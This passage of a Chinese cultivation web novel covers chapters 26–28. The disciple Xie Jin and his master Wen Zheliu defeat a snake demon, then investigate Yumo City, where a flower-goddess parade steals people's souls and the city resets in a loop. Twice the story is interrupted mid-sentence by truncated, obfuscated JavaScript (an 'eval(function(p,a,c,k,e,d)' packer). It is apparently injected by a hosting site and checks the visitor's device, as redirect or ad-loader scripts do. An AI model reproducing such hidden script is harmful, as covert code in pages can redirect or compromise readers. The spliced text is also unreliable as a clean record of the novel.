蛇尾圈住谢槿,将他送到大白蛇血口之下,大白蛇闻声讥笑道:“别叫了,你师父死了……” 它话音猛地一顿,因为蛇尾圈紧的谢槿身上忽然冒出了一道白光,冷得叫蛇尾为之震颤。 不,又似乎不是冷的。 没等大白蛇想明白是什么,那白光倏然在蛇尾下炸开来,它极为锋利,犹如刀剑一般,金戈气息骤现,将蛇尾斩成了七八段。 “好痛!” 大白蛇哀嚎一声,再顾不上谢槿,蜷起整个蛇身,再看蛇尾,竟硬生生被断了足足一丈长! 蛇血涌出,叫大白蛇又痛又怒,蛇瞳后方蛇鳞炸起,朝那白光所在嘶吼一声,“什么东西!” 却见白光渐渐淡去,谢槿安然平躺在地,腰间铁球 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谢槿睁大眼睛呆了一阵,几乎忘了呼吸,直到剑傀手中剑光散去,他才找回自己的声音。 “我去,好帅!” “在说什么怪话,不疼了?” 闻折柳的声音从身后响起,谢槿猛地一惊,回头看去,就见他正斜躺在树上,手里拿着白玉酒瓶,怀里是被他按在掌心里的小黄鸟,他那一身玄衣纤尘未染,就好像只是在树上睡了一觉,根本没有出去过。 “师父……唔!好疼……” 谢槿想走近,一抬脚就疼得倒抽凉气,肩头疼、腰背疼、手肘疼、膝盖疼,哪儿都疼! 闻折柳挑起眉梢,带着小黄鸟飞下来,抬指弹出一道灵力,没入谢槿身上,他马上就不疼了,不可思议地低头打量起身上伤处。 “方才在那小蛇面前都不喊疼,这会儿才疼了?” 谢槿一听这话再次瞪大眼睛看向闻折柳,眼神带上几分谴责,“方才?师父一直都在吗?” “也不算,你杀那个神剑门的弟子时我才刚到。” 闻折柳松开小黄鸟,任其扑腾翅膀飞向谢槿。谢槿本想伸手去接,小黄鸟一靠近他却调头飞走,跟见了鬼似的,钻回闻折柳怀里,谢槿才后知后觉,自己手上都是血水。 身上也有。 之前蛇尾被断时,溅上了不少蛇血,又腥又冲。 谢槿鼻子一抽,差点吐了。 他也不怪小黄鸟嫌弃自己了,但还是不满闻折柳,“云巍死时师父就来了?那师父为什么不出手帮我?我刚才可是差一点就死了!” 闻折柳哼笑一声,“我若出手,你还能临危突破?” 道理是这个道理,谢槿也不希望自己到出师时都没办法独当一面,可心里还是有点委屈。 “那方才大白蛇要吃掉我,师父你就这么看着?” 闻折柳拎起玉瓶悠悠饮了口灵酒,瞥向立在一侧的剑傀,“这不是有剑傀在吗?你若遇到致命危机,他会觉醒救你。虽然以前只是看大门的,但对付化神期以下还行。” 谢槿被他堵得无言以对,这种事情师父居然不早说?可是……他真的很想师父来救他啊! 看闻折柳还是一副丝毫没有半点心虚的样子,谢槿咬了咬牙,深吸一口气,又弯唇笑起来,“师父知道吗,在我们人间有这么一个说法,一个人面对危险时会惊恐害怕,如果这个时候被另一人救下,这个人很可能会情不自禁对后者产生情愫!” 不错,就是吊桥效应! 闻折柳看他绕过自己走向剑傀,含着半口清寒灵酒,轻挑起眉梢,示意谢槿接着往下说。 谢槿嘿嘿一笑,也不管剑傀那铁疙瘩有多咯人,一把抱上去,微眯起眼,由衷感叹一声。 “我现在觉得,跟着剑傀,比跟着师父要安全!” 26. 第二十六章 闻折柳花了一些功夫,才慢慢吞下口中的灵酒,又像是没眼看一样,“剑傀并无灵识。” 谢槿才不管,他现在觉得剑傀给自己的安全感超过师父了,拍拍铁疙瘩,将身体靠上去。 “好累,我们能回宗门了吗?” 闻折柳深深看他一眼,摇了摇头,望向废墟中的大白蛇尸身,“一条半步元婴的小蛇吗?” 剑傀没有灵识,只知道保护主人、跟随主人,谢槿想靠就靠,不担心会被甩掉,但闻言还是跟着看过去一眼,“这么大的小蛇?” 闻折柳道:“看起来,应该也只有百余年修为。” 谢槿嘴角一抽,他累得很,也懒得跟闻折柳讨论百年老蛇的称呼了,想起来自己刚才听大白蛇说过的话,提醒道:“它跟那个常先好像并非师徒,可它又说这个法阵是它师父帮它布下的,还说这里是蛇窟。” 闻折柳点头,“这里是蛇窟,也仅仅是这条小蛇的蛇窟。若它师父便是布阵之人,修为应当在化神期之上,那个常先是化神期,但修为很虚,这法阵应当不是它布下的。” 谢槿松开剑傀,惊道:“也就是说,还有一个师父逃出去了?不对,那个常先还活着吗?” 闻折柳面不改色,“剁了。” 谢槿看向大白蛇,再看闻折柳,心道师父好狠! 这里才一剑,那边居然剁了? 闻折柳看他那眼神怪怪的,补充道:“被剑阵剁的,那个神剑门的家伙可不是软柿子。” 谢槿恍然大悟,“哦。” 闻折柳看他故作冷淡的模样,眸光一转,添上些许笑意,“你不是一向喜欢谨慎行事吗?怎么这次碰上这小蛇反倒冲动了?它说要跟你成亲,你大可以先答应下来,虚与委蛇,拖到神剑门那家伙回来就行。” 他都没脸说等自己回来,谢槿轻哼一声,“要是等师父,怕是我进了洞房你都不会来!” 闻折柳笑起来,“也是。” 谢槿幽幽瞪他,开始磨牙。 还好意思说! 他也没生气太久,虚空中便有一道剑光飞来,是先前那个神剑门的长老,剑上载着两个人,正是之前被谢槿救下的兰雁师姐,她还未醒来,另外一人便是一脸心虚的红衣女修,她似乎受了伤,惊魂未定。 没想到神剑门几人中最后活下来的,只剩下她们。 谢槿目光扫过那红衣女修便移开了,无意邀功,也无意揭穿她此前推师姐入蛇口的事。 兰雁师姐若能醒来自然会远离她,这些是神剑门的事,他已经将人情还回去,与他无关。 他该担心的是自己。 想到被自己杀死的云巍,谢槿将自己藏到剑傀身后。 许是因为一同被常先‘骗走’的缘故,神剑门那位长老与闻折柳也有了一点交情,见到大白蛇腹中滚出的男尸后,叹了口气用法器将尸身收起来,便朝闻折柳点头示礼。 “方才多谢道友相助,贫道已在蛇窟寻到众弟子与此前失踪的弟子尸骸,这便离开了。贫道欠道友一份人情,他日道友若遇困难,便携玉牌到神剑门,贫道定鼎力相助。” 他用灵力送来一块玉牌。 闻折柳也没客气,放出小黄鸟叼回来,“告辞。” 神剑门长老回了一礼,便御剑离开,剑光很快没入天上星河,在闪耀群星渐渐辨不清。 谢槿目送他走远,怔怔道:“他就不想为云巍报仇吗?” 闻折柳道:“他回来的比我晚,何况这里是蛇窟,死一两个筑基期弟子不是很正常吗?” 谢槿狐疑,“真的?” 闻折柳轻哼道:“处理好了,谁来也认不出你的手笔。” 谢槿这才放心,还算师父干了件人事,可他又高兴不起来,“他们来寻的人都死了吗?” 闻折柳饮了口灵酒,慢悠悠道:“宗门之外便是如此残酷,若遇上邪魔或是心怀不轨之人便是九死一生,你若怕了,日后就老老实实待在山上,以后也能当个内门长老。” 谢槿心想他这个起点还不错,不管以后修为怎么样都能混上内门长老,也算是有低保了。 可要说怕…… 谢槿不服气,想了想又点头。 “方才的确是有些害怕的,但这个世界如何,都不会影响我修炼的目的。我能够摆脱心疾,得到一具健康的身体,这辈子一定要好好活下去,才对得起上天对我的眷顾。” 夜晚山里风凉,他说完抱起胳膊,催促道:“师父,别人都走了,我们什么时候回去?” 闻折柳看向他,默默退开半步,“先去洗澡。” 这嫌弃不要太明显啊! 谢槿真想一把扑过去将身上的蛇血往他脸上蹭! 可不敢…… 谢槿自己也嫌弃自己,只能先收起剑傀就近找个山泉,换下衣裳冲洗干净。闻折柳坐在断墙上边喝酒边等,等谢槿换上一身青衣回来时,那大白蛇只剩下一副白骨,废墟中残存的妖气和血气也被烧干净了。 他洗得干干净净,小黄鸟才又愿意飞到他肩上。 闻折柳召出灵剑,斜躺上去。 “走吧。” 谢槿带着小黄鸟跳上灵剑,跟着闻折柳打哈欠。 “师父……我们是回宗门吗?” “不是。” 闻折柳短短两个字,就把谢槿瞌睡虫吓跑了,猛地一抖,肩上的小黄鸟被抖落下来,抓住还未干透的长发爬回去,蹲在他肩上啾了一声,但鸟也困,挨着他颈侧闭了眼。 谢槿低声跟小黄鸟道歉,压着嗓音问闻折柳:“还不回宗门?蛇妖不是已经被杀了吗?” 闻折柳道:“不是这条。” 谢槿惊道:“难道还要去抓柳月的那个师父?” 闻折柳将玉瓶里的灵酒倒空了,便收起玉瓶,就在谢槿以为他要取出一瓶新酒时,闻折柳坐了起来,懒洋洋地冲他掀起眼皮子。 “来盏灵茶提神。” 谢槿:…… 师父当他是茶馆小二吗? 可师父有事,弟子服其劳,谢槿只好认命地取出茶具,引水现场煮茶。水质定是不如赤月峰的灵泉水的,不过放入寒露草后,茶水便多了几分灵气。睡梦中的小黄鸟一个激灵醒过神,就往滚烫的茶壶扑去。 所幸中途被闻折柳抓回去,谢槿松了口气,倒出一杯茶水亲手奉上,“师父,你是说,我们要杀的那条化神期蛇妖不是常先?” 闻折柳接过茶盏轻抿一口,琉璃目被热雾笼罩。 “那个常先虽有化神期,却不是摘星阁说的那个化神期蛇妖,而是保护那小白蛇的妖仆。这蛇窟本是陷阱,引走大部分来寻蛇妖的修士,想来就是那蛇妖所为,应该就是那小白蛇的师父,但它并不在这里。” 谢槿好奇道:“那在哪儿?神剑门的人已经走了。” 谢槿也渴了,给自己也倒了一杯茶水,温热的寒露草灵茶喝着回味甘甜,还能补充灵气。小黄鸟喝不上茶,还被闻折柳大掌制住,气得叽叽乱叫,听去应该是在骂人。 一枚金丹忽然被扔进谢槿杯中,在他注视下转瞬融化为水,将杯中灵茶灵气提升百倍。 “恢复一下内伤。” 清润灵气扑面而来,谢槿还没喝就感觉身心舒畅,他看了看闻折柳,不疑有他喝下灵茶。 一盏灵茶入喉,谢槿身体骤然一轻,原本还有些隐隐作痛之处轻松许多,灵力也恢复了。 他感觉自己现在精神饱满灵力充沛,丹田内的灵池再次被蓄满,眸光一亮,面露惊喜。 “练气六层?多谢师父赠药!” 闻折柳看他一脸欢喜愉悦地运转灵力的模样,不动声色问:“不问问我给你吃了什么?” 谢槿不觉得他会问废话,愣了一下,“什么?” 闻折柳平静道:“蛇的妖丹。” 谢槿面色一青,想抠嗓子。 谁知闻折柳却笑起来,便直接拎走了茶壶,望向云海上的月色,“骗你的,这都当真。” 谢槿:“……” 想骂人。 不过大白蛇可是有金丹期的,他要是吃了蛇的妖丹,没道理才只是提升到练气六层才是。 谢槿暗松口气,瞪他背影。 闻折柳适时出声,“既然你今晚没被吓破胆,那我就先不送你回宗门了。还记得我之前说过的修真界九域吗?在传说中,很久很久以前,神魔大战打破了整片大地,便有了九域,其余碎片化为无数个小世界,你出身的人间便是其中一个小世界。” 谢槿又不气了,一脸温顺。 闻折柳直接对着茶壶嘴喝茶,同喝酒一般豪迈,也叫小黄鸟更是眼馋,他接着说:“九域,分别为东南西北中,还有天域、雪域、冥域,最后的大荒是最原始、最危险,也是与传闻中还未打破的大地最相似的地方,还是荒兽与一些妖族的祖地。” 谢槿取出小本子记下。 闻折柳微眯起眼,“九域生存着许多种族生灵,也有众多宗门势力,那所谓四大宗派便多是人族修士。而各个小世界因为有天道法则,即便修士能找到通道入内也会被狠狠压制,所以修士一般不会去人间。” “但自万年前起,仙神陨落,修真界再无人成仙。” 闻折柳道:“所以这些年也有不少修士到各个小世界寻求升仙机缘,奉剑师兄也是为机缘才去了人间。相对而言,小世界对里面的生灵也有压制,若是承受不起机缘,硬要跳出小世界,也会招来相应的劫祸。” 谢槿恍然大悟,奉剑师伯的机缘他不清楚,但他的机缘便是奉剑师伯,若没有奉剑师伯,他也不会成为揽月宗弟子,拜闻折柳为师,“那为什么万年以来都无人成仙呢?” 他记不太清原文剧情,只知道大师兄之后的大概发展,不过好像都没有提到成仙的事。 “这就要问天道了。” 闻折柳侧首回眸看他,“总之你只要记得,千百年来,妖族与人族两族摩擦甚多,而不久之前,一个大妖重伤我师父,害师父不得不退位养伤,师祖一怒之下便下了法旨,命我揽月宗弟子此后逢妖必诛。” 师祖匆匆传位给掌门,果然是因为宗门出事! 谢槿问:“这就是师父要去杀蛇妖的原因吗?” 闻折柳耸肩,“不是啊,都说了,师祖一怒之下下的令,他打回去了就没事了。不过摘星阁是我们揽月宗的兄弟宗门,那阁主还叫师祖一声师兄,我自然是要帮摘星阁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灵剑西行一宿,越过千山万水,渐渐靠近东域西南的海边,又路过了几处空荡荡的海边村寨,最终停在临近海边的一座城池前。 谢槿扎起长发,精神抖擞地跟在闻折柳身后,走向眼前这座仍有不少修士入内的繁华城池。 城门上刻着三字,似是古纂,他一时看不清,站定在城门前,被身后一名壮硕的修士撞得一个趔趄差点摔了,下意识就要道歉。 岂料那修士一脸凶神恶煞,“看什么看,找打?” 谢槿被吓到了,回头就告状,“师父,他凶我!” 闻折柳停下来,冷眼瞥来。 “滚。” 化神期修士威压一放出,那修士便缩着脑袋跑了。谢槿眨巴眼睛,感受到狐假虎威的快意,弯唇笑了笑,重新看起城门上的字。 “玉,陌,城。” 闻折柳饮了口灵酒,“结巴了?” 谢槿无语,转头打量起城门,“这海边方圆百里都杳无人烟,居然有这么大一座城池,师父,我们来这里是要打探蛇妖的消息吗?” 闻折柳道:“此地妖气深重。” 谢槿立时对这座繁华城池失去了兴趣,眉头一皱,退到闻折柳身后。还以为是小说中打探消息的地点,没想到闻折柳语出惊人。 “那,我们进去?” 闻折柳看他表面温顺冷静,却明显怕到躲到自己身后,没好气轻哼一声,“你觉得呢?” 谢槿心虚别开眼。 一道声音自身后传来,“妖气?” 而后是另一道清朗笑声,“道友所见与在下不谋而合,此地妖气深重,怕是有妖孽作祟。” 谢槿回头看去。 两个穿着素雅长衫的青年正缓步走来,前者容貌极俊朗,后者看去甚是年轻,约莫刚刚弱冠,二人俱是文质彬彬,目光清正。 这样的打扮在谢槿看来很是熟悉,自从来到揽月宗之后,他就很少再见到这样的文人。 闻折柳看向二人,“你是?” 那为首的儒士青年歉意一笑,拱手行礼,“在下闻人祤,与师弟自南域学院而来,游历途径此地,发觉附近村寨俱空无一人,唯独这城中热闹非常,便与师弟过来看看。” 他身后那名年轻师弟跟着行礼,看去似有些羞涩。 “在下叶惟,方才听闻两位道友提及妖气,无意惊扰。” 昨天才碰上一对假师徒,今天刚到这玉陌城,便又碰上一对师兄弟?谢槿感觉不太妙,默默看向闻折柳,却见闻折柳收起了玉瓶,露出肃然起敬的表情,叫他大跌下巴。 “原来是南域学院的道友,无妨,贫道万灵门常先。” 谢槿:“?” 师父在搞什么啊! 换一个地方还换一个身份是吧?常先知道自己死后身份还被人偷了,会气到死不瞑目吧? 可师父都回礼了,他傻站着也不是个事……谢槿只得硬着头皮,垂首抱拳,“晚辈柳月。” 不管了,师父都不用真名,他也不能用,就是感觉耳边仿佛响起了功德减一的声音…… 对不住了,柳月小白蛇! 27. 第二十七章 闻折柳用一种让谢槿匪夷所思的好态度快速跟闻人祤、叶惟交换了身份姓名。虽然用了常先的身份,但他也没有那么厚脸皮和谄媚,末了直入主题,“贫道与柳月正要入城捉拿害人蛇妖,二位道友可愿同往?” 谢槿越发迷茫,师父为什么要邀请这两人同行? 闻人祤负手身后,温声笑应:“附近村寨无人的怪象恐怕便是因这城中妖物而起,我与师弟本也是要入城一探,常先道友,请。” 闻折柳回了一笑,待闻人祤走过来,与之并肩入城。谢槿跟在身后,暗中打量这对师兄弟,不经意与叶惟对上眼,叶惟与柳月的开朗截然相反,赧然地朝他点头一笑。 谢槿下意识回了一笑。 几人步入玉陌城中,谢槿对妖气毫无察觉,只感觉日光打在身上暖融融的,恰到好处,再看城中街上人来人往,一派繁华喧闹。 叶惟也在打量街上行人与摊贩,比起他那位温文尔雅与闻折柳从容同行的师兄要稚嫩许多,好奇与防备几乎都摆在了脸上,让谢槿回想起自己从前在人间学堂的同窗。 不过叶惟感官敏锐,很快察觉谢槿在看他,反而更不好意思了,低声道:“让柳月道友见笑了,我自小在学院长大,这是我第一次出门游历,不知道友与常先前辈是……” 虽然借用了柳月的身份名字,谢槿再听到这个名字还是会想起前晚被剑傀一剑切成两半的大白蛇,怪不自在地攥紧腰间铁球,轻咳一声才道:“是师徒,我与叶道友一样,也是头一回跟随师父走出师门。” 叶惟看他的眼神热切起来,仿佛找到了同类一般。 “这可真是太巧了!” 谢槿弯唇一笑。 叶惟忍不住问:“我看柳月道友年纪不大,还未及冠吧?”他话说了出口,又连忙赔罪,“在下无意唐突道友,道友不说也无妨。” 谢槿感觉他这般有礼,与印象中的读书人几乎没有差别,也没忍住心生好感,摇头道:“没事,我今年十六,确实还未及冠。” 叶惟看他的眼神又是欣赏又是怜爱,“年纪轻轻便能随师父出门除妖,柳月道友定是有许多过人之处。叶惟已然及冠,虚长道友几岁,理应多照顾道友才是,若入城后遇到危险,柳月道友可站到我身后来。” 谢槿看他清澈又真诚的眼神,实在是受宠若惊。 “那便多谢道友了。” 他二人的对话,走在前面的闻人祤和闻折柳自然都听见了。闻人祤与闻折柳相视一笑,说道:“这玉陌城中之人身上多少都带了一缕妖气,但妖气并非源于他们本身,倘若有妖作乱,城中不该是这般安宁才是。道友,不如我们分头打探,如何?” 闻折柳点头,“正合我意,贫道与徒儿去城东城南,日落后我们在城中最大的客栈碰面?” 闻人祤拱手,“道友告辞。” 闻折柳回了一礼,又朝叶惟点了点头,回头递给谢槿一个眼神,便转身往城东方向走去。 谢槿只好跟着他行礼告辞,走时闻人祤师兄弟还笑着目送他们,身姿气韵俱是温文儒雅。 就算在人间学院,也少有见到这般气质的儒士。 谢槿心里暗自赞赏了一番对方,便快步追上闻折柳,走过满是嘈杂叫卖声与交谈声的长街,看闻折柳还端着的模样,欲言又止。 结果一拐过长街,闻折柳就取出玉瓶大饮一口灵酒,头也没回,懒洋洋问:“想问什么?” 谢槿暗松口气,“师父方才好像被常先夺舍了一样,莫非叶惟他们师兄弟也是蛇妖吗?” 闻折柳瞥他,“你就是书上说的,一朝被蛇咬,十年……” 他说到这里就卡壳了,谢槿提醒道:“十年怕井绳。” 闻折柳眸光幽幽,“你们读书人就是心眼多。放心,那两个家伙不是妖,但来头也不小。” 谢槿问:“什么来头?” 闻折柳只管饮酒,没有回答,实则换作了传音入耳,“九域四大宗派中,除中域剑阁外,南域青阳学宫也占了其一,那帮书生自称君子,打不还手骂不还口。若我没猜错的话,这两个家伙便是出自青阳学宫,南域也只有一个学宫,一个书院。” “四……” 谢槿大吃一惊。 他这第一次跟师父出门,居然遇到了四大宗派的人? 谢槿眨了眨眼,用询问的眼神看向师父。他和师父追查蛇妖到玉陌城,青阳学宫的师兄弟也来了玉陌城,这应该不只是巧合吧? 闻折柳适时传音解惑,“他们虽说没有藏,可也没有明说,我们就当不知道,管他们是谁呢。不过有他们师兄弟在,要揪出那条藏在玉陌城的化神期蛇妖也会轻松不少。” 他咽下灵酒,嗓音含糊地吩咐谢槿,“还不去打听?” 谢槿正听得起劲,好奇这青阳学宫呢,他又不说了,又拿他没办法,只好闷闷哦了一声。 要闻折柳去打听状况是不太可能了,又不是人人都能像四大宗派的人一样叫他客气点,他自个在街角找了棵老槐树坐下,谢槿便独自去街上打听。有剑傀在,谢槿是不怕的,走了七八条街,拉着摊贩路人打听,将本子记了好几页才回去找师父。 彼时已是晌午,街角老槐树下几个孩童蹦蹦跳跳地玩着游戏,却没见着闻折柳的身影。 谢槿将手上顺手买的几个糖葫芦分给几个小朋友,得到一声声甜滋滋的哥哥,笑得眯起桃花眼,等几个小孩跑走后才走到槐树下。 “师父。” 闻折柳的声音从树上传来,“讲。” 谢槿抬头一看,果然见他正靠坐在树上喝着酒,手里捏着一块血色玉简。不知为何,谢槿一眼就感觉那玉简红得刺眼,让自己心生反感。谢槿皱了皱眉,又看了看四周,见街角这边无人,便提气跃上树枝上,运起灵力稳住身形走近闻折柳。 “徒儿已经打听得差不多了,师父可要亲眼过目?” 他从怀里掏出本子,递给闻折柳,闻折柳捏住玉简收起来,便放出灵火散尽手中残存妖气,“懒得看,有什么异常,你说一下。” 谢槿就知道会是这样,干脆抱着本子简单交待道:“没有异常,这里的人说辞都一样,从小生活在玉陌城,没听说有什么蛇妖,但近来城中在举办花神祭,每夜都很热闹。” 这里的人与谢槿出身的人间小世界不同,生在有灵气的九域,这些人生来就开了灵脉,不过多数人一生都难以筑基,只是寿命要比小世界的人长一些,能活百来年。 闻折柳问:“花神?” 谢槿点头,“就是花神,据说是当地的习俗,最近这几日,每天入夜后,城中选出来的花神都会坐在花车上,在玉陌城中游行,城里的人还选出了许多花童一路随行。” 闻折柳皱眉,“什么东西?” 谢槿哪里知道,他只知道问到每一个人,他们的表情都又是向往又是虔诚,又有些狂热。 闻折柳站起身来伸了个懒腰,又问:“那这玉陌城近来可有什么生人来过?比如说修士?” 谢槿道:“有,就这几天,不过每夜花神游车之后,那些修士便都离开了,他们都以为那些人是来看花神的,还以为我们也是。” 信息太少,就算是闻折柳一时也没有头绪。谢槿看了看他干净的手,好奇地问:“师父方才拿着那东西是什么?看着怪吓人的。” “昨夜那条小白蛇蛇窟里藏着的传信玉简,不过只有特定之人才能使用,小白蛇没来得及用就死了。”闻折柳回眸看他,“想要?” “还是算了。” 用柳月名字已经让谢槿备受良心谴责了,谢槿飞快摇头,看着闻折柳,桃花眼弯起来,“师父藏到了树上,是在躲那些小孩吗?” 闻折柳静静盯着他。 谢槿感觉自己一定是说对了,忍笑改口,“快日落了,我们要去跟闻人祤和叶惟汇合吗?” 闻折柳轻哼一声,踏步走上虚空,如履平地,身影一瞬出现在地上。谢槿笃定自己一定猜中了,笑了笑,跃下老槐树快步跟上。 二人走出街角时,正碰上刚才拿了糖葫芦那几个小孩,他们一边唱着童谣一边摇头晃脑跳圈,几个小朋友的童音稚嫩又可爱,“六月六,花神到,娘娘赐福百病消……” 谢槿有些不解,为什么六月六端阳要迎花神?而且他记得六月六就已经过去半个月了吧? 不过闻折柳走得快,他也没心思多想,赶紧追上去。玉陌城中最大的客栈,位置便在这座城池中心,名为望海楼,闻折柳和谢槿过去时,刚好到日落时分,远远便见到闻人祤和叶惟站在客栈大门前等着。 闻折柳收起白玉瓶,收敛起往日懒散,带着谢槿走过去,颔首一礼,“让道友久等了。” 谢槿跟着行礼。 闻人祤和叶惟温和回礼,“在下与师弟也是刚到。” 闻折柳便道:“贫道与徒儿在城东城南打听过,并未查到什么异常,只知今夜会有花神祭的花车游行。听闻以往像我们这样的外来修士,大多是看过花神祭便会离开。” 闻人祤缓缓点头,说道:“我与师弟打听到的消息也差不多,还听到了迎花神的童谣。” 叶惟面露迷茫,“玉陌城中的人对花神都很是虔诚,连三岁小孩都能将迎花神的童谣倒背如流,但若说妖邪,却无一人听闻过。” 闻折柳挑眉,“妖气遍布玉陌城,却无人见过妖邪,可见是蛇妖隐藏起来,但它近来一定跟城中的人频繁接触过,或许这每夜的花车游行,便是那蛇妖暗中作祟的时机。” 闻人祤唇边含笑,“那看来今夜花神祭时,我们应该多留意些,将这妖邪揪出来才是。” 听他直接敲定了今夜去看花神祭,闻折柳却道:“天色尚早,还是先进客栈休整一番吧。” 闻人祤正有此意,抬手做了个邀请姿势,与闻折柳走进客栈大堂。四人两两分配要了两间上房,约定入夜后出门,便回房去了。 关上房门,谢槿捏了捏剑傀的铁球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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此时花车队伍已经快途径望海楼,城中人们欢喜地簇拥着花车一路跟随,客栈许多外来修士都下来了,还有白日撞到谢槿那人。 那人一见到他们师徒就躲起来,谢槿也就当做没见到,跟着师父站在门前,看向缀满了红绸与鲜花的花车,馥郁花香阵阵飘来。 人们脸上都笑着,皆热情地呼唤着花神的名讳。 而花车之上,一名华衣女子头戴精美花冠翩然起舞,手中殷红花瓣洒落长街,纷飞如雪,接到花瓣的人如遇天降甘霖,欢喜不已。 谢槿一眼就看到了花神的脸,其实也不算太过惊艳,只能说是秀丽,双眼却仿佛含着秋波。 叶惟的声音从他身边传来,似乎有些失望,“这花神分明只是一个没有修炼的普通女子。” 闻人祤摇头,“非也,听闻此乃城中青楼花魁。” 叶惟霎时红了脸,别开眼低喃道:“有辱斯文!” 闻人祤失笑,“小师弟,我们是读书人,不是出家人。食色性也,既然这玉陌城的百姓都不介意花神是花魁假扮,你为何不敢看?” 叶惟脸更红了。 谢槿总感觉这闻人祤不太正经,但叶惟太过正经。 几人说话间,花车路过客栈,花车上的貌美花魁许是望见他们这些生面孔,朝这边勾起红唇一笑,捧起一簇朱红花瓣轻轻一吹。 今夜的风恰到好处将这朱红色的花雪卷到客栈前,有几片落到门前几个修士身上,叶惟肩上也落了一片,他红着耳尖慌乱摘下。 没等他扔掉花瓣,闻人祤先按住他的手,“且慢。” 叶惟疑惑,“师兄?” 闻人祤却看向闻折柳,“道友,可有看到什么?” 谢槿也捡到了一片花瓣,正捏着端详,感觉手感凉凉的,花瓣又很是娇嫩,一捏就碎。 红色汁水染上指尖,在门前灯笼光芒下莹润生光。 他闻声抬眼,就见闻折柳回头望着花车行过后的街道。夜色之下一地红花,有些人没有跟上,身上或多或少都沾到了花瓣,就连门前几个修士身上也都挂着几片花瓣。 闻折柳眸光闪动,“妖气?” 谢槿僵住。 闻人祤点了头,笑吟吟看向叶惟和谢槿,“不错,这些花瓣沾染了妖气,会吸人精气。” 谢槿猛一哆嗦,赶紧扔掉,转过头瞪向闻折柳。 那师父干嘛不早说! 叶惟也很惊讶,又不解地看着师兄抓紧他不让他扔掉花瓣的手,“那师兄为何不让我扔掉花瓣?可是因为这花瓣藏了什么秘密?” 闻人祤这才松开他,温文一笑,“这倒没有,只是看到师弟你为之惊慌,真的很有意思。” 叶惟不可思议,“师兄你……” 谢槿也愣了下,看着这位面不改色捉弄师弟的学宫师兄,他警觉地往自家师父身边挪去。 这对师兄弟不对劲! 28. 第二十八章 看叶惟被闻人祤气得整张脸涨红,闻折柳眸光一转,落到谢槿身上,抓起他的手放出赤红灵力,霎时将残留的花瓣汁液消融焚尽。 “这点妖气只能盗取些许精气,对普通人的损伤并不明显,对你们只是损失几分灵力。” 谢槿暗松口气,才发觉闻折柳的手比他大了一圈,正好能包住他的手掌,骨节分明,温热修长,也很好看,叫他有些移不开眼。 闻人祤也收敛几分,向叶惟拱手道歉,“道友说的没错,为兄开个玩笑,师弟莫怪。” 叶惟眨了眨眼,叹了口气,“那我们可要去追花魁?” 看他这就消气了,谢槿有些吃惊,这也太好哄了吧? 闻折柳闻言也松开谢槿看向街上,谢槿感觉手背上热度褪去,心底冷不丁有些空虚,但转瞬又溜走了,跟着回头看向客栈门前。 方才同在客栈门前的几个修士已悄然追上花车,此刻剩下的,便是花车行过后的落寞长街,那些城中之人却都没有离开,愣愣地站在原地,连风似乎都被静止了一般。 尤其是离他们不远的客栈掌柜和伙计,几人仍远远看着花车离去的方向,脸上的喜色还未褪去,每个人都僵在原地一动不动的。 这诡异的一幕叫谢槿心跳加速,“他们都怎么了?” 闻人祤走到掌柜几人面前,抬指凝起灵力探向几人眉心,很快便撤去灵力,神色微妙。 “他们的魂,都不在了。” 叶惟惊愕道:“方才不还好好的吗?是那花神作祟吗?” “去看看!” 闻折柳与闻人祤对了一眼,便抓起谢槿手臂,带人御剑追上花车。那花车走得极快,连乐声都听不见了,分明前面该是满街花灯,前方却如无边黑暗,如何也追不上。 忽闻前方一声惨叫,闻折柳御剑急停,谢槿差点一头撞上他后背,手忙脚乱抓住他胳膊。 “道友?” 闻人祤与叶惟在后方架云追上,见闻折柳二人不追了,师兄弟二人脸上都有几分疑惑。 闻折柳正望着前方,谢槿抱住他手臂探头往前看,就见那满城花灯正在由远及近飞快熄灭,几个呼吸后,黑暗已经蔓延到他们前方不远,犹如吞天巨兽,向他们袭来。 谢槿顿时惊出一身冷汗。 那花车去往的,竟是黑暗? 闻折柳非但没有再往前追,反而揽紧谢槿腰身,向着身后还没有被黑暗吞噬的方向飞去。 “是法阵波动?快走!” 谢槿感到后腰一紧,后脑勺便被闻折柳按在怀里,他看不到城中的黑暗与火光,只知道闻折柳似乎很急,急得忘了布下结界挡住天上厉风,小黄鸟差点被吹走,叽叽乱叫一声,扑腾着翅膀钻进闻折柳怀里。 待风终于没那么急时,刺眼的白光冷不丁出现,谢槿下意识闭上眼睛,缓过来才又睁开眼,衣襟下便是一紧,接着传来叽叽叫声。谢槿低头一看,小黄鸟正晕乎乎地窝在他怀里,爪子死死抓住他的衣襟。 谢槿吓了一跳,赶紧捧起小黄鸟抬头找师父,“师……” 他一抬眼就见到闻折柳优越的下颌线,闻折柳正皱着眉头,似乎有些烦躁,脸色有些冷。 谢槿顺着闻折柳视线看去,就见到日光下繁华的玉陌城,不错,就是日光下,天亮了? 城门前偶有人往来,城中也是一派喧闹,生机勃勃,这一幕,与白日进城前一模一样! 谢槿愣愣道:“师父……” 闻折柳低头看来,这才松开谢槿,“叫我干什么?” 谢槿恍然回神,小心地捧起手里的小黄鸟给他看。 “鸟。” 闻折柳瞥了一眼爪子直抽抽的小黄鸟,啧了一声,直接拎起来挂在肩上,“没死,装的。” 正应了他的话,刚才半死不活的小黄鸟差点从他肩上滑下来,顿时炸开胸毛,扑腾翅膀飞回去,又朝他脸上扑去,叽叽乱叫。 闻折柳嗤笑一声,一掌按住。 见状,谢槿无奈地松了口气,便听到身后传来一声道友,听那熟悉的声音,他又是一僵。 身后行来之人正是闻人祤和叶惟,也同今日一早入城前一样,二人正缓步朝他们走来。 不过等到闻人祤再次开口后,谢槿便彻底放心了。 “方才那是何物?我们为何又回到了玉陌城外?” 